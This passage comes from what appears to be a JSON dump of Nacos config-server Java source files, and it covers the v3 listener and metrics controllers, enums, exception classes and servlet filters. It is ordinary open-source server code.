configListByNamespace.stream().map(ResponseUtil::transferToConfigBasicInfo)\n                .toList();\n        return Result.success(result);\n    }\n}"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/controller/v3/ListenerControllerV3.java",
    "content": "/*\n * Copyright 1999-$toady.year Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.controller.v3;\n\nimport com.alibaba.nacos.api.annotation.NacosApi;\nimport com.alibaba.nacos.api.config.model.ConfigListenerInfo;\nimport com.alibaba.nacos.api.model.v2.Result;\nimport com.alibaba.nacos.auth.annotation.Secured;\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport com.alibaba.nacos.config.server.constant.Constants;\nimport com.alibaba.nacos.config.server.paramcheck.ConfigDefaultHttpParamExtractor;\nimport com.alibaba.nacos.config.server.service.listener.ConfigListenerStateDelegate;\nimport com.alibaba.nacos.config.server.utils.GroupKey2;\nimport com.alibaba.nacos.core.model.form.AggregationForm;\nimport com.alibaba.nacos.core.paramcheck.ExtractorManager;\nimport com.alibaba.nacos.plugin.auth.constant.ApiType;\nimport com.alibaba.nacos.plugin.auth.constant.SignType;\nimport org.springframework.web.bind.annotation.GetMapping;\nimport org.springframework.web.bind.annotation.RequestMapping;\nimport org.springframework.web.bind.annotation.RequestParam;\nimport org.springframework.web.bind.annotation.RestController;\n\nimport java.util.HashMap;\nimport java.util.Map;\n\n/**\n * Listener management.\n *\n * @author Nacos\n */\n@NacosApi\n@RestController\n@RequestMapping(Constants.LISTENER_CONTROLLER_V3_ADMIN_PATH)\n@ExtractorManager.Extractor(httpExtractor = ConfigDefaultHttpParamExtractor.class)\npublic class ListenerControllerV3 {\n    \n    private final ConfigListenerStateDelegate configListenerStateDelegate;\n    \n    public ListenerControllerV3(ConfigListenerStateDelegate configListenerStateDelegate) {\n        this.configListenerStateDelegate = configListenerStateDelegate;\n    }\n    \n    /**\n     * Get subscribe information from client side.\n     */\n    @GetMapping\n    @Secured(signType = SignType.CONFIG, apiType = ApiType.ADMIN_API)\n    public Result<ConfigListenerInfo> getAllSubClientConfigByIp(@RequestParam(\"ip\") String ip,\n            @RequestParam(value = \"all\", required = false) boolean all,\n            @RequestParam(value = \"namespaceId\", required = false) String namespaceId,\n            AggregationForm aggregationForm) {\n        ConfigListenerInfo result = configListenerStateDelegate.getListenerStateByIp(ip,\n                aggregationForm.isAggregation());\n        result.setQueryType(ConfigListenerInfo.QUERY_TYPE_IP);\n        Map<String, String> configMd5Status = new HashMap<>(100);\n        if (result.getListenersStatus() == null || result.getListenersStatus().isEmpty()) {\n            return Result.success(result);\n        }\n        Map<String, String> status = result.getListenersStatus();\n        for (Map.Entry<String, String> config : status.entrySet()) {\n            if (!StringUtils.isBlank(namespaceId) && config.getKey().contains(namespaceId)) {\n                configMd5Status.put(config.getKey(), config.getValue());\n                continue;\n            }\n            if (all) {\n                configMd5Status.put(config.getKey(), config.getValue());\n            } else {\n                String[] configKeys = GroupKey2.parseKey(config.getKey());\n                if (StringUtils.isBlank(configKeys[2])) {\n                    configMd5Status.put(config.getKey(), config.getValue());\n                }\n            }\n        }\n        result.setListenersStatus(configMd5Status);\n        return Result.success(result);\n    }\n    \n}"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/controller/v3/MetricsControllerV3.java",
    "content": "/*\n * Copyright 1999-$toady.year Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.controller.v3;\n\nimport com.alibaba.nacos.api.annotation.NacosApi;\nimport com.alibaba.nacos.api.config.remote.request.ClientConfigMetricRequest;\nimport com.alibaba.nacos.api.config.remote.response.ClientConfigMetricResponse;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.model.v2.Result;\nimport com.alibaba.nacos.auth.annotation.Secured;\nimport com.alibaba.nacos.auth.config.NacosAuthConfigHolder;\nimport com.alibaba.nacos.auth.util.AuthHeaderUtil;\nimport com.alibaba.nacos.common.http.Callback;\nimport com.alibaba.nacos.common.http.HttpClientBeanHolder;\nimport com.alibaba.nacos.common.http.HttpUtils;\nimport com.alibaba.nacos.common.http.client.NacosAsyncRestTemplate;\nimport com.alibaba.nacos.common.http.param.Header;\nimport com.alibaba.nacos.common.http.param.Query;\nimport com.alibaba.nacos.common.model.RestResult;\nimport com.alibaba.nacos.common.utils.NamespaceUtil;\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport com.alibaba.nacos.config.server.constant.Constants;\nimport com.alibaba.nacos.config.server.paramcheck.ConfigDefaultHttpParamExtractor;\nimport com.alibaba.nacos.config.server.utils.GroupKey2;\nimport com.alibaba.nacos.config.server.utils.ParamUtils;\nimport com.alibaba.nacos.core.auth.NacosServerAuthConfig;\nimport com.alibaba.nacos.core.cluster.Member;\nimport com.alibaba.nacos.core.cluster.ServerMemberManager;\nimport com.alibaba.nacos.core.paramcheck.ExtractorManager;\nimport com.alibaba.nacos.core.remote.Connection;\nimport com.alibaba.nacos.core.remote.ConnectionManager;\nimport com.alibaba.nacos.core.utils.GenericType;\nimport com.alibaba.nacos.core.utils.Loggers;\nimport com.alibaba.nacos.plugin.auth.constant.ActionTypes;\nimport com.alibaba.nacos.plugin.auth.constant.ApiType;\nimport com.alibaba.nacos.plugin.auth.constant.SignType;\nimport com.alibaba.nacos.sys.env.EnvUtil;\nimport org.springframework.web.bind.annotation.GetMapping;\nimport org.springframework.web.bind.annotation.RequestMapping;\nimport org.springframework.web.bind.annotation.RequestParam;\nimport org.springframework.web.bind.annotation.RestController;\n\nimport java.util.Collection;\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.concurrent.CountDownLatch;\nimport java.util.concurrent.TimeUnit;\n\nimport static com.alibaba.nacos.api.config.remote.request.ClientConfigMetricRequest.MetricsKey.CACHE_DATA;\nimport static com.alibaba.nacos.api.config.remote.request.ClientConfigMetricRequest.MetricsKey.SNAPSHOT_DATA;\n\n/**\n * Metric management.\n *\n * @author Nacos\n */\n@NacosApi\n@RestController\n@RequestMapping(Constants.METRICS_CONTROLLER_V3_ADMIN_PATH)\n@ExtractorManager.Extractor(httpExtractor = ConfigDefaultHttpParamExtractor.class)\npublic class MetricsControllerV3 {\n    \n    private final ServerMemberManager serverMemberManager;\n    \n    private final ConnectionManager connectionManager;\n    \n    public MetricsControllerV3(ServerMemberManager serverMemberManager, ConnectionManager connectionManager) {\n        this.serverMemberManager = serverMemberManager;\n        this.connectionManager = connectionManager;\n    }\n    \n    /**\n     * get client metric.\n     */\n    @GetMapping(\"/cluster\")\n    @Secured(resource = Constants.METRICS_CONTROLLER_V3_ADMIN_PATH, action = ActionTypes.READ,\n            signType = SignType.CONFIG, apiType = ApiType.ADMIN_API)\n    public Result<Map<String, Object>> metric(@RequestParam(\"ip\") String ip,\n            @RequestParam(value = \"dataId\", required = false) String dataId,\n            @RequestParam(value = \"groupName\", required = false) String groupName,\n            @RequestParam(value = \"namespaceId\", required = false) String namespaceId) throws NacosException {\n        \n        ParamUtils.checkTenant(namespaceId);\n        namespaceId = NamespaceUtil.processNamespaceParameter(namespaceId);\n        ParamUtils.checkParam(dataId, groupName, \"default\", \"default\");\n        \n        Loggers.CORE.info(\"Get cluster config metrics received, ip={},dataId={},groupName={},namespaceId={}\", ip,\n                dataId, groupName, namespaceId);\n        Map<String, Object> responseMap = new HashMap<>(3);\n        Collection<Member> members = serverMemberManager.allMembers();\n        final NacosAsyncRestTemplate nacosAsyncRestTemplate = HttpClientBeanHolder.getNacosAsyncRestTemplate(\n                Loggers.CLUSTER);\n        CountDownLatch latch = new CountDownLatch(members.size());\n        for (Member member : members) {\n            String url = HttpUtils.buildUrl(false, member.getAddress(), EnvUtil.getContextPath(),\n                    Constants.METRICS_CONTROLLER_V3_ADMIN_PATH, \"ip\");\n            Query query = Query.newInstance().addParam(\"ip\", ip).addParam(\"dataId\", dataId)\n                    .addParam(\"groupName\", groupName).addParam(\"namespaceId\", namespaceId);\n            Header header = Header.newInstance();\n            AuthHeaderUtil.addIdentityToHeader(header, NacosAuthConfigHolder.getInstance()\n                    .getNacosAuthConfigByScope(NacosServerAuthConfig.NACOS_SERVER_AUTH_SCOPE));\n            nacosAsyncRestTemplate.get(url, header, query, new GenericType<Map>() {\n            }.getType(), new ClusterMetricsCallBack(responseMap, latch, dataId, groupName, namespaceId, ip, member));\n        }\n        try {\n            latch.await(3L, TimeUnit.SECONDS);\n        } catch (InterruptedException e) {\n            e.printStackTrace();\n        }\n        \n        return Result.success(responseMap);\n    }\n    \n    static class ClusterMetricsCallBack implements Callback<Map> {\n        \n        Map<String, Object> responseMap;\n        \n        CountDownLatch latch;\n        \n        String dataId;\n        \n        String group;\n        \n        String namespaceId;\n        \n        String ip;\n        \n        Member member;\n        \n        public ClusterMetricsCallBack(Map<String, Object> responseMap, CountDownLatch latch, String dataId,\n                String group, String namespaceId, String ip, Member member) {\n            this.responseMap = responseMap;\n            this.latch = latch;\n            this.dataId = dataId;\n            this.group = group;\n            this.namespaceId = namespaceId;\n            this.member = member;\n            this.ip = ip;\n        }\n        \n        @Override\n        public void onReceive(RestResult<Map> result) {\n            if (result.ok()) {\n                responseMap.putAll(result.getData());\n            }\n            latch.countDown();\n        }\n        \n        @Override\n        public void onError(Throwable throwable) {\n            Loggers.CORE.error(\n                    \"Get config metrics error from member address={}, ip={},dataId={},group={},namespaceId={},error={}\",\n                    member.getAddress(), ip, dataId, group, namespaceId, throwable);\n            latch.countDown();\n        }\n        \n        @Override\n        public void onCancel() {\n            latch.countDown();\n        }\n    }\n    \n    /**\n     * Get client config listener lists of subscriber in local machine.\n     */\n    @GetMapping(\"/ip\")\n    @Secured(resource = Constants.METRICS_CONTROLLER_V3_ADMIN_PATH, action = ActionTypes.READ,\n            signType = SignType.CONFIG, apiType = ApiType.ADMIN_API)\n    public Result<Map<String, Object>> getClientMetrics(@RequestParam(\"ip\") String ip,\n            @RequestParam(value = \"dataId\", required = false) String dataId,\n            @RequestParam(value = \"groupName\", required = false) String groupName,\n            @RequestParam(value = \"namespaceId\", required = false) String namespaceId) throws NacosException {\n        \n        ParamUtils.checkTenant(namespaceId);\n        namespaceId = NamespaceUtil.processNamespaceParameter(namespaceId);\n        ParamUtils.checkParam(dataId, groupName, \"default\", \"default\");\n        \n        Map<String, Object> metrics = new HashMap<>(16);\n        List<Connection> connectionsByIp = connectionManager.getConnectionByIp(ip);\n        for (Connection connectionByIp : connectionsByIp) {\n            try {\n                ClientConfigMetricRequest clientMetrics = new ClientConfigMetricRequest();\n                if (StringUtils.isNotBlank(dataId)) {\n                    clientMetrics.getMetricsKeys().add(ClientConfigMetricRequest.MetricsKey.build(CACHE_DATA,\n                            GroupKey2.getKey(dataId, groupName, namespaceId)));\n                    clientMetrics.getMetricsKeys().add(ClientConfigMetricRequest.MetricsKey.build(SNAPSHOT_DATA,\n                            GroupKey2.getKey(dataId, groupName, namespaceId)));\n                }\n                \n                ClientConfigMetricResponse request1 = (ClientConfigMetricResponse) connectionByIp.request(clientMetrics,\n                        1000L);\n                metrics.putAll(request1.getMetrics());\n            } catch (Exception e) {\n                Loggers.CORE.error(\n                        \"Get config metrics error from client ip={},dataId={},groupName={},namespaceId={},error={}\", ip,\n                        dataId, groupName, namespaceId, e);\n                throw new NacosException(NacosException.SERVER_ERROR, e);\n            }\n        }\n        \n        return Result.success(metrics);\n    }\n}"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/enums/ApiVersionEnum.java",
    "content": "/*\n * Copyright 1999-$toady.year Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.enums;\n\n/**\n * Config Api Version enum.\n * @author Nacos\n */\npublic enum ApiVersionEnum {\n    \n    /**\n     * API version v1.\n     */\n    V1(\"v1\"),\n    \n    /**\n     * API version v2.\n     */\n    V2(\"v2\");\n    \n    private final String version;\n    \n    ApiVersionEnum(String version) {\n        this.version = version;\n    }\n    \n    public String getVersion() {\n        return version;\n    }\n}"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/enums/FileTypeEnum.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.enums;\n\nimport com.alibaba.nacos.common.http.param.MediaType;\nimport com.alibaba.nacos.common.utils.StringUtils;\n\n/**\n * Config file type enum.\n *\n * @author klw\n * @date 2019/7/1 10:21\n */\npublic enum FileTypeEnum {\n    \n    /**\n     * Yaml file.\n     */\n    YML(\"yaml\", MediaType.TEXT_PLAIN),\n    \n    /**\n     * Yaml file.\n     */\n    YAML(\"yaml\", MediaType.TEXT_PLAIN),\n    \n    /**\n     * Text file.\n     */\n    TXT(\"text\", MediaType.TEXT_PLAIN),\n    \n    /**\n     * Text file.\n     */\n    TEXT(\"text\", MediaType.TEXT_PLAIN),\n    \n    /**\n     * Json file.\n     */\n    JSON(\"json\", MediaType.APPLICATION_JSON),\n    \n    /**\n     * Xml file.\n     */\n    XML(\"xml\", MediaType.APPLICATION_XML),\n    \n    /**\n     * Html file.\n     */\n    HTM(\"html\", MediaType.TEXT_HTML),\n    \n    /**\n     * Html file.\n     */\n    HTML(\"html\", MediaType.TEXT_HTML),\n    \n    /**\n     * Properties file.\n     */\n    PROPERTIES(\"properties\", MediaType.TEXT_PLAIN);\n    \n    /**\n     * File type corresponding to file extension.\n     */\n    private String fileType;\n    \n    /**\n     * Http Content type corresponding to file extension.\n     */\n    private String contentType;\n    \n    FileTypeEnum(String fileType) {\n        this.fileType = fileType;\n        this.contentType = MediaType.TEXT_PLAIN;\n    }\n    \n    FileTypeEnum(String fileType, String contentType) {\n        this.fileType = fileType;\n        this.contentType = contentType;\n    }\n    \n    public String getFileType() {\n        return this.fileType;\n    }\n    \n    public String getContentType() {\n        return contentType;\n    }\n    \n    /**\n     * Get the corresponding FileTypeEnum by file extension or fileType. If not found FileTypeEnum.TEXT is returned\n     *\n     * @param extOrFileType file extension or fileType\n     * @return\n     */\n    public static FileTypeEnum getFileTypeEnumByFileExtensionOrFileType(String extOrFileType) {\n        if (StringUtils.isNotBlank(extOrFileType)) {\n            String upperExtName = extOrFileType.trim().toUpperCase();\n            for (FileTypeEnum value : VALUES) {\n                if (value.name().equals(upperExtName)) {\n                    return value;\n                }\n            }\n        }\n        return FileTypeEnum.TEXT;\n    }\n    \n    private static final FileTypeEnum[] VALUES = FileTypeEnum.values();\n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/enums/OperationType.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.enums;\n\n/**\n * Operation type enum.\n *\n * @author dirtybit\n */\npublic enum OperationType {\n\n    /**\n     * Insert.\n     */\n    INSERT(\"I\"),\n\n    /**\n     * Update.\n     */\n    UPDATE(\"U\"),\n\n    /**\n     * Delete.\n     */\n    DELETE(\"D\");\n\n    /**\n     * operation type value.\n     */\n    private String value;\n\n    OperationType(String value) {\n        this.value = value;\n    }\n\n    public void setValue(String value) {\n        this.value = value;\n    }\n\n    public String getValue() {\n        return this.value;\n    }\n\n}"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/exception/ConfigAlreadyExistsException.java",
    "content": "/*\n * Copyright 1999-$toady.year Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.exception;\n\nimport com.alibaba.nacos.api.exception.NacosException;\n\n/**\n * ConfigAlreadyExistsException.\n *\n * @author Nacos\n */\npublic class ConfigAlreadyExistsException extends NacosException {\n    \n    private static final long serialVersionUID = -8247262927932720692L;\n    \n    ConfigAlreadyExistsException() {\n        super();\n    }\n    \n    public ConfigAlreadyExistsException(int errCode, String errMsg) {\n        super(errCode, errMsg);\n    }\n    \n    public ConfigAlreadyExistsException(String errMsg) {\n        super(NacosException.CONFIG_ALREADY_EXISTS, errMsg);\n    }\n    \n    public ConfigAlreadyExistsException(int errCode, Throwable throwable) {\n        super(errCode, throwable);\n    }\n    \n    public ConfigAlreadyExistsException(int errCode, String errMsg, Throwable throwable) {\n        super(errCode, errMsg, throwable);\n    }\n}"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/exception/GlobalExceptionHandler.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.exception;\n\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.exception.runtime.NacosRuntimeException;\nimport com.alibaba.nacos.common.utils.ExceptionUtil;\nimport com.alibaba.nacos.config.server.monitor.MetricsMonitor;\nimport com.alibaba.nacos.persistence.monitor.DatasourceMetrics;\nimport org.springframework.core.Ordered;\nimport org.springframework.core.annotation.Order;\nimport org.springframework.dao.DataAccessException;\nimport org.springframework.http.ResponseEntity;\nimport org.springframework.web.bind.annotation.ControllerAdvice;\nimport org.springframework.web.bind.annotation.ExceptionHandler;\n\nimport java.io.IOException;\n\n/**\n * Global exception handler.\n *\n * @author Nacos\n */\n@ControllerAdvice(basePackages = \"com.alibaba.nacos.config.server\")\n@Order(Ordered.LOWEST_PRECEDENCE - 1)\npublic class GlobalExceptionHandler {\n    \n    /**\n     * For IllegalArgumentException, we are returning void with status code as 400, so our error-page will be used in\n     * this case.\n     *\n     * @throws IllegalArgumentException IllegalArgumentException.\n     */\n    @ExceptionHandler(IllegalArgumentException.class)\n    public ResponseEntity<String> handleIllegalArgumentException(Exception ex) throws IOException {\n        MetricsMonitor.getIllegalArgumentException().increment();\n        return ResponseEntity.status(400).body(ExceptionUtil.getAllExceptionMsg(ex));\n    }\n    \n    /**\n     * For NacosRuntimeException.\n     *\n     * @throws com.alibaba.nacos.api.exception.runtime.NacosRuntimeException NacosRuntimeException.\n     */\n    @ExceptionHandler(NacosRuntimeException.class)\n    public ResponseEntity<String> handleNacosRunTimeException(NacosRuntimeException ex) throws IOException {\n        MetricsMonitor.getNacosException().increment();\n        return ResponseEntity.status(ex.getErrCode()).body(ExceptionUtil.getAllExceptionMsg(ex));\n    }\n\n    /**\n     * For NacosException.\n     *\n     * @throws NacosException NacosException.\n     */\n    @ExceptionHandler(NacosException.class)\n    public ResponseEntity<String> handleNacosException(NacosException ex) throws IOException {\n        MetricsMonitor.getNacosException().increment();\n        return ResponseEntity.status(ex.getErrCode()).body(ExceptionUtil.getAllExceptionMsg(ex));\n    }\n\n    /**\n     * For DataAccessException.\n     *\n     * @throws DataAccessException DataAccessException.\n     */\n    @ExceptionHandler(DataAccessException.class)\n    public ResponseEntity<String> handleDataAccessException(DataAccessException ex) throws DataAccessException {\n        DatasourceMetrics.getDbException().increment();\n        return ResponseEntity.status(500).body(ExceptionUtil.getAllExceptionMsg(ex));\n    }\n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/exception/NacosConfigException.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.exception;\n\n/**\n * NacosConfigException.\n *\n * @author <a href=\"mailto:liaochuntao@live.com\">liaochuntao</a>\n */\npublic class NacosConfigException extends RuntimeException {\n    \n    public NacosConfigException() {\n    }\n    \n    public NacosConfigException(String message) {\n        super(message);\n    }\n    \n    public NacosConfigException(String message, Throwable cause) {\n        super(message, cause);\n    }\n    \n    public NacosConfigException(Throwable cause) {\n        super(cause);\n    }\n    \n    public NacosConfigException(String message, Throwable cause, boolean enableSuppression,\n            boolean writableStackTrace) {\n        super(message, cause, enableSuppression, writableStackTrace);\n    }\n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/filter/CircuitFilter.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.filter;\n\nimport com.alibaba.nacos.common.notify.Event;\nimport com.alibaba.nacos.common.notify.NotifyCenter;\nimport com.alibaba.nacos.common.notify.listener.SmartSubscriber;\nimport com.alibaba.nacos.common.utils.CollectionUtils;\nimport com.alibaba.nacos.common.utils.ExceptionUtil;\nimport com.alibaba.nacos.persistence.model.event.RaftDbErrorEvent;\nimport com.alibaba.nacos.config.server.model.event.RaftDbErrorRecoverEvent;\nimport com.alibaba.nacos.consistency.ProtocolMetaData;\nimport com.alibaba.nacos.consistency.cp.CPProtocol;\nimport com.alibaba.nacos.consistency.cp.MetadataKey;\nimport com.alibaba.nacos.core.cluster.Member;\nimport com.alibaba.nacos.core.cluster.MemberMetaDataConstants;\nimport com.alibaba.nacos.core.cluster.ServerMemberManager;\nimport com.alibaba.nacos.persistence.constants.PersistenceConstant;\nimport org.springframework.beans.factory.annotation.Autowired;\n\nimport javax.annotation.PostConstruct;\nimport jakarta.servlet.Filter;\nimport jakarta.servlet.FilterChain;\nimport jakarta.servlet.ServletException;\nimport jakarta.servlet.ServletRequest;\nimport jakarta.servlet.ServletResponse;\nimport jakarta.servlet.http.HttpServletRequest;\nimport jakarta.servlet.http.HttpServletResponse;\nimport java.io.IOException;\nimport java.security.AccessControlException;\nimport java.util.Arrays;\nimport java.util.List;\n\nimport static com.alibaba.nacos.config.server.utils.LogUtil.DEFAULT_LOG;\n\n/**\n * If the embedded distributed storage is enabled, all requests are routed to the Leader node for processing, and the\n * maximum number of forwards for a single request cannot exceed three.\n *\n * @author <a href=\"mailto:liaochuntao@live.com\">liaochuntao</a>\n */\npublic class CircuitFilter implements Filter {\n    \n    private volatile boolean isDowngrading = false;\n    \n    private volatile boolean isOpenService = false;\n    \n    @Autowired\n    private ServerMemberManager memberManager;\n    \n    @Autowired\n    private CPProtocol protocol;\n    \n    @PostConstruct\n    protected void init() {\n        listenerSelfInCluster();\n        registerSubscribe();\n    }\n    \n    @Override\n    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)\n            throws IOException, ServletException {\n        \n        HttpServletRequest req = (HttpServletRequest) request;\n        HttpServletResponse resp = (HttpServletResponse) response;\n        \n        if (!isOpenService) {\n            resp.sendError(HttpServletResponse.SC_SERVICE_UNAVAILABLE,\n                    \"In the node initialization, unable to process any requests at this time\");\n            return;\n        }\n        \n        try {\n            // If an unrecoverable exception occurs on this node, the write request operation shall not be processed\n            // This is a very important warning message !!!\n            if (isDowngrading) {\n                resp.sendError(HttpServletResponse.SC_SERVICE_UNAVAILABLE,\n                        \"Unable to process the request at this time: System triggered degradation\");\n                return;\n            }\n            \n            chain.doFilter(req, response);\n        } catch (AccessControlException e) {\n            resp.sendError(HttpServletResponse.SC_FORBIDDEN, \"access denied: \" + ExceptionUtil.getAllExceptionMsg(e));\n        } catch (Throwable e) {\n            DEFAULT_LOG.warn(\"[CURCUIT-FILTER] Server failed: \", e);\n            resp.sendError(HttpServletResponse.SC_INTERNAL_SERVER_ERROR, \"Server failed, \" + e);\n        }\n    }\n    \n    @Override\n    public void destroy() {\n    \n    }\n    \n    private void listenerSelfInCluster() {\n        protocol.protocolMetaData().subscribe(PersistenceConstant.CONFIG_MODEL_RAFT_GROUP, MetadataKey.RAFT_GROUP_MEMBER, o -> {\n            if (!(o instanceof ProtocolMetaData.ValueItem)) {\n                return;\n            }\n            final List<String> peers = (List<String>) ((ProtocolMetaData.ValueItem) o).getData();\n            if (CollectionUtils.isEmpty(peers)) {\n                isOpenService = false;\n                return;\n            }\n            final Member self = memberManager.getSelf();\n            final String raftAddress = self.getIp() + \":\" + self.getExtendVal(MemberMetaDataConstants.RAFT_PORT);\n            // Only when you are in the cluster and the current Leader is\n            // elected can you provide external services\n            isOpenService = peers.contains(raftAddress);\n        });\n    }\n    \n    private void registerSubscribe() {\n        NotifyCenter.registerSubscriber(new SmartSubscriber() {\n            \n            @Override\n            public void onEvent(Event event) {\n                // @JustForTest\n                // This event only happens in the case of unit tests\n                if (event instanceof RaftDbErrorRecoverEvent) {\n                    isDowngrading = false;\n                    return;\n                }\n                if (event instanceof RaftDbErrorEvent) {\n                    isDowngrading = true;\n                }\n            }\n            \n            @Override\n            public List<Class<? extends Event>> subscribeTypes() {\n                return Arrays.asList(RaftDbErrorRecoverEvent.class, RaftDbErrorEvent.class);\n            }\n        });\n    }\n    \n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/filter/ConfigEnabledFilter.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.filter;\n\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport com.alibaba.nacos.config.server.Config;\nimport com.alibaba.nacos.sys.env.EnvUtil;\nimport com.alibaba.nacos.sys.filter.NacosPackageExcludeFilter;\n\nimport java.util.Set;\n\nimport static com.alibaba.nacos.sys.env.EnvUtil.FUNCTION_MODE_CONFIG;\n\n/**\n * Config module enabled filter by spring packages scan.\n *\n * @author xiweng.yy\n */\npublic class ConfigEnabledFilter implements NacosPackageExcludeFilter {\n    \n    @Override\n    public String getResponsiblePackagePrefix() {\n        return Config.class.getPackage().getName();\n    }\n    \n    @Override\n    public boolean isExcluded(String className, Set<String> annotationNames) {\n        String functionMode = EnvUtil.getFunctionMode();\n        // When not specified config mode or specified all mode, the config module not start and load.\n        if (StringUtils.isEmpty(functionMode)) {\n            return false;\n        }\n        return !FUNCTION_MODE_CONFIG.equals(functionMode);\n    }\n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/filter/NacosWebFilter.java",
